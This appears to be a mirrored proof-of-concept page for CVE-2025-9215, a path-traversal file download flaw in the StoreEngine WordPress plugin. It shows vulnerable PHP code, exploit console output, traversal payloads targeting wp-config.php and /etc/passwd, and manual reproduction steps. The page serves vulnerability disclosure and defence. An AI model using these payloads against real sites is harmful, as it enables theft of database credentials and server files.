Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-9215 PoC — StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.5.0 - Authent

Source
Associated Vulnerability
Title:StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.5.0 - Authenticated (Subscriber+) Arbitrary File Download (CVE-2025-9215)
Description:The StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.5.0 via the file_download() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
Description
StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.4.0 - Authenticated (Subscriber+) Arbitrary File Download
Readme
# StoreEngine Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.4.0 - Authenticated (Subscriber+) Arbitrary File Download

The [StoreEngine](https://wordpress.org/plugins/storeengine/) plugin contains a vulnerability in its CSV Import/Export feature that allows **any authenticated user** (subscriber, author, editor, etc.) to download arbitrary files from the server, including sensitive system files, WordPress configuration files, and plugin source code. The vulnerability stems from the `storeengine_csv/file_download` endpoint lacking proper path sanitization and only relying on nonce verification for security, while the `storeengine_nonce` is exposed to **ALL frontend users** through the plugin's JavaScript. **Note: This vulnerability requires the CSV Import/Export addon to be enabled by an administrator.** Once enabled, this combination allows any authenticated user to extract the nonce from frontend pages and use it to download any file on the server via path traversal attacks, effectively granting subscriber+ users access to sensitive system and application files.

## TL;DR Exploits
* A POC [CVE-2025-9215.py](./CVE-2025-9215.py) is provided to demonstrate a subscriber user downloading the WordPress configuration file via path traversal.
  
```console
 python3 ./CVE-2025-9215.py http://localhost:1337 user1 password   
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).

Downloading wp-config.php via path traversal...
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...
```

## Details  

### **Vulnerable File Download Function**
**Note: This vulnerability requires the CSV Import/Export addon to be enabled by an administrator.** The addon activation endpoint (`storeengine/saved_addon_status`) requires `manage_options` capability, meaning only administrators can enable this functionality.

The `storeengine_csv/file_download` AJAX action calls the `file_download()` function on line [47](https://plugins.trac.wordpress.org/browser/storeengine/trunk/addons/csv/ajax/export.php#L47) of `/wp-content/plugins/storeengine/addons/csv/ajax/export.php`, which lacks proper path sanitization and allows arbitrary file downloads:

```php
public function file_download( array $payload ) {
    if ( ! isset( $payload['filename'] ) ) {
        wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
    }

    $filename = $payload['filename'];
    $filepath = Helper::get_upload_dir() . '/csv/' . $filename;  // <-- VULNERABLE TO PATH TRAVERSAL!
    
    // NO CAPABILITY CHECK - ANY USER CAN DOWNLOAD ANY FILE!
    // NO PATH SANITIZATION - DIRECT CONCATENATION ALLOWS ../ ATTACKS!
    
    if ( ! file_exists( $filepath ) ) {
        wp_send_json_error( __( 'File not found.', 'storeengine' ) );
    }

    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
    readfile( $filepath );  // <-- READS AND OUTPUTS ANY FILE!
    exit;
}
```

### **Path Construction Vulnerability**
The vulnerable path construction allows complete path traversal:

```php
// Helper::get_upload_dir() returns:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';

// So the full path becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;

// With path traversal, this becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'
```


### **Nonce Exposure Vulnerability**
The `storeengine_nonce` is exposed to **ALL frontend users** through the plugin's JavaScript. This occurs in the `_get_script_data()` method on line [279](https://plugins.trac.wordpress.org/browser/storeengine/trunk/includes/assets.php#L279) of `/wp-content/plugins/storeengine/includes/assets.php`:

```php
public function _get_script_data(): array {
    // ... other data ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... other data ...
    ];
}
```

This nonce is then localized to frontend JavaScript via the `frontend_scripts()` method on line [120](https://plugins.trac.wordpress.org/browser/storeengine/trunk/includes/assets.php#L120):

```php
wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Calls _get_script_data()
);
```

### **Nonce Verification**
The nonce is verified in the `AbstractRequestHandler::check_permission()` method on line [510](https://plugins.trac.wordpress.org/browser/storeengine/trunk/includes/classes/abstract-request-handler.php#L510) of `/wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php`:

```php
protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}
```

This combination allows any authenticated user to bypass CSRF protection and download any file on the server, including sensitive configuration files, source code, and potentially system files.

## Manual Reproduction
1. Login to the admin panel and navigate to the StoreEngine plugin.
2. Go to the CSV Export section (if available in the admin interface).
3. Start up Burp Suite or a similar tool and begin intercepting the traffic.
4. Intercept a request to `/wp-admin/admin-ajax.php` calling the `storeengine_csv/file_download` action.
5. Modify the request to include the extracted nonce and a path traversal payload.
6. Send the request with `filename=../../../../wp-config.php` to download the WordPress configuration file.
7. Access sensitive configuration files including database credentials, API keys, and security salts.
File Snapshot

[4.0K] /data/pocs/a3a5b93cd16fc38cfe7ea2d45a7a742f385e29d4 ├── [4.9K] CVE-2025-9215.py └── [6.7K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →